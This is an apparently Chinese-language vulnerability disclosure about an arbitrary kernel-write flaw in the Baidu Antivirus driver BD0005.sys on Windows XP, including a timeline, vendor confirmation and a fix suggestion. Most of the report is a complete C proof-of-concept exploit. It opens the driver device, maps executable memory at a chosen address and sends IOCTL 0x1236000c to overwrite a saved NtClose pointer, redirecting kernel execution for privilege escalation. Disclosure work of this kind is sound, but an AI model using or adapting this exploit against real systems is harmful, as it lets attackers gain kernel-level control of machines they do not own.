2015-03-24: 细节已通知厂商并且等待厂商处理中 2015-03-24: 厂商已经确认,细节仅向厂商公开 2015-03-27: 细节向第三方安全合作伙伴开放 2015-05-18: 细节向核心白帽子及相关领域专家公开 2015-05-28: 细节向普通白帽子公开 2015-06-07: 细节向实习白帽子公开 2015-06-22: 细节向公众公开
BD0005.sys对输入参数校验不严格,被利用后可以在任意内核地址写入一个字节,将内核调用重定向到用户可控的地址,实现提权。
1.百度杀毒版本:
BD0005.sys版本:2.0.0.6系统版本:windows xp sp3ntkrnlpa版本:5.1.2600.64192.系统启动过【安全沙箱】,BD0005.sys对IoControlCode=0x1236000c的处理逻辑不严谨,传入内核地址也会被写入1个字节0x42,只要精心布置内存布局,即可实现内核提权调用。根源如下:
3.漏洞利用后的表现:
POC通过提前在用户地址布局利用代码,实现内核调用转向到可控地址。
DWORD GetDriverBase(CHAR* pName){ typedef struct _SYSTEM_MODULE_INFORMATION { ULONG Reserved [2]; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT Unknown; USHORT LoadCount; USHORT ModuleNameOffset; CHAR ImageName [256 ]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; typedef LONG (WINAPI* FN_ZwQuerySystemInformation)(ULONG, PVOID, ULONG, PULONG); FN_ZwQuerySystemInformation fn = (FN_ZwQuerySystemInformation)GetProcAddress(GetModuleHandle(_T("ntdll")), "ZwQuerySystemInformation"); if(!fn) return 0; DWORD dwBase = 0; CHAR* pBuffer = new CHAR[0x10000]; memset(pBuffer, 0, 0x10000); ULONG cb = 0; LONG l = (*fn)(11, pBuffer, 0x10000, &cb); if(0 == l) { ULONG count = *((ULONG*)pBuffer); PSYSTEM_MODULE_INFORMATION pInfo = (PSYSTEM_MODULE_INFORMATION)(pBuffer + sizeof(ULONG)); for (ULONG i = 0; i < count; ++i) { if('\0' != pInfo[i].ImageName[0]) { strlwr(pInfo[i].ImageName); if(pName && strstr(pInfo[i].ImageName, pName)) { dwBase = (DWORD)pInfo[i].Base; break; } } } } delete pBuffer; return dwBase;}void NtAllocVirtualPage(HANDLE hProcess, DWORD dwAddr){ typedef LONG (WINAPI* NtAllocateVirtualMemory)( HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect); NtAllocateVirtualMemory fnAllocate = (NtAllocateVirtualMemory)GetProcAddress(GetModuleHandle(_T("ntdll")), "NtAllocateVirtualMemory"); if(fnAllocate) { PBYTE pBase = (PBYTE)dwAddr; SIZE_T len = 0x1000; LONG lSucceed = fnAllocate(hProcess, (PVOID*)&pBase, 0, &len, 0x3000, PAGE_EXECUTE_READWRITE); }}void CallDriver(HANDLE hDev){ DWORD dwReturned = 0; DWORD driverBase = GetDriverBase("bd0005.sys"); WCHAR* input = L"BDSANDBOX"; NtAllocVirtualPage(GetCurrentProcess(), 0x425b2ea4); if(!IsBadWritePtr((LPVOID)0x425b2ea4, 8)) { memcpy((LPVOID)0x425b2ea4, "\xcc\xcc\xcc", 3); } DeviceIoControl(hDev, 0x1236000c, (LPVOID)input, 0x12, // bd0005.sys偏移0x21fd0保存的是NtClose的地址(0x805b2ea4), // 通过漏洞将其高字节改为0x42,重定向到我可控的0x425b2ea4地址 (LPVOID)(driverBase + 0x21fd3), 0, &dwReturned, NULL); }void FuzzDriver(){ LPCTSTR DevName = _T("\\\\.\\Bd0005Ctl"); HANDLE hDev = CreateFile(DevName, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(INVALID_HANDLE_VALUE != hDev) { CallDriver(hDev); CloseHandle(hDev); }}int _tmain(int argc, _TCHAR* argv[]){ FuzzDriver(); return 0;}
对IoControl=0x1236000c的传入参数做合法校验,只有UserSpace才允许写入;或者直接不接受outputBuffer。
危害等级:高
漏洞Rank:20
确认时间:2015-03-24 16:52
感谢提交
暂无